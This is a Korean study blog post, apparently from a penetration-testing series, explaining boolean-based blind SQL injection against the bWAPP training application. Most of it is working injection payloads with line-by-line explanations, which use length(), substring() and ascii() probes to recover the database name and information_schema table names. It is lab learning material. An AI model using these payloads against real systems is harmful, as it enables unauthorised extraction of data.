Blind SQL injection : 쿼리의 결과를 참 or 거짓으로 출력하는 페이지에서 데이터베이스의 내용을 참 or 거짓으로 추측하는 공격 기법

그림처럼 DB에 해당 영화가 있으면(참) 존재한다(1)라고 출력되고
그 외 내용을 검색하면(거짓이면) 존재하지 않는다(0)라고 출력된다

' or 1=1 을 입력하니(무조건 참이니) 영화가 존재한다고 출력
@@@@@@@@@ 모든 SQL에 해당하는 내용인데 갑자기 헷갈려서 다시정리@@@@@@@@@@@@@@@@@
사이트의 구성방식을 생각해보면
SELECT * FROM movies WHERE title = '사용자입력값' 이런식으로 값을 받아서 나올 것 이다.
이때
1) ' or 1=1 and length(database())=1# 를 입력할경우
SELECT * FROM movies WHERE title = ' ' or 1=1 and length(database())=1# '
' ' 빈 문자열로 입력을 넘기고 뒤에 or 1=1 로 항상 참 값을 만들어서 뒤에 한 문장으로 이어지게 하지
2) ' length(database())=1# 를 입력할 경우 (or 1=1 이없는경우)
SELECT * FROM movies WHERE title = ' ' length(database())=1# '
' ' 까지 빈 문자열로 입력을 받아서 ' '까지가 한개의 문장으로 그리고 그냥 뜬금없이 length(database())만 남아서 잉여코드가 되지 그래서 오류가나
@@@@@@@@@@@@@끝@@@@@@@@@@@@@@@@@@@
다시 돌아와서
참고 내용
* ASCII Code (아스키 코드)
- 10진수 48 ~ 57 = 정수 1 ~ 10
- 10진수 65 ~ 90 = 문자 A ~ Z
- 10진수 97 ~ 122 = 문자 a ~ z
* substring() 함수
- 지정한 문자열의 일부를 반환해주는 함수
- 형식 : substring("문자열", 시작 index, index 길이)
* length() 함수
- 지정한 문자열의 길이를 반환해주는 함수
- 형식 : length("문자열")
' or 1=1 and length(database())=1# ' 입력
코드 해석 : database의 이름길이가 1글자니?
DB가 1글자가 아니므로 0이 출력되겠지 그럼 숫자를 1씩 올려서 하나씩 노가다로 글자수를 찾아보면
' or 1=1 and length(database())=5# ' 에서 1이 출력이된다 => DB가 5글자

글자수를 알아 냈으니 이제 substring함수를 이용해서 5글자의 각 알파벳을 찾아봐야한다.
' or 1=1 and substring(database(),1,1)='a'#
* substring(database(),1,1) : database()가 반환하는 문자열의 첫 번째 글자
* 전체 구문 해석 : 데이터베이스 이름의 첫 번째 글자가 'a'인지 체크
이것도 노가다....

' or 1=1 and ascii(substring(database(),2,1)) <= 90#
* substring(database(),2,1) : database()가 반환하는 문자열의 두 번째 글자
* ascii() : 인자로 주어진 값을 아스키 코드 값으로 반환
* 전체 구문 해석 : 데이터베이스 이름의 두 번째 글자가 90(Z)보다 작은지 체크

해보면 DB이름이 bWAPP이 정답이였다.
DB 이름을 찾았으니 테이블도 찾아야겠지...?
' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and
table_schema='bWAPP' limit 0,1))=1#
* select table_name from information_schema.tables : infromation_schema 데이터베이스의 tables 테이블에서 테이블 이름을 추출
* where table_type='base table' and table_schema='bWAPP' : tables 테이블에서 table_type이 base table(메타데이터 테이블 제외한 테이블)이고, table_schema가 bWAPP 데이터베이스인 테이블
* 전체 구문 해석 : information_schema 데이터베이스의 tables 테이블에서 테이블 타입이 base table이고 table schema가 bWAPP 데이터베이스인 첫 번째 테이블 이름의 길이가 1인지 체크
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table'
and table_schema='bWAPP' limit 0,1),1,1)) >= 97#
* 전체 구문 해석 : bWAPP 데이터베이스의 첫 번째 테이블 이름의 첫 번째 문자가 97(a)보다 큰지 체크
'모의해킹' 카테고리의 다른 글
| SQL Injection - Blind - Time-Based (0) | 2025.02.13 |
|---|---|
| 페이로드 (0) | 2025.02.12 |
| XSS - Stored (Blog) (0) | 2025.02.12 |
| SQL Injection (0) | 2025.01.24 |
| PHP Code Injection (0) | 2025.01.23 |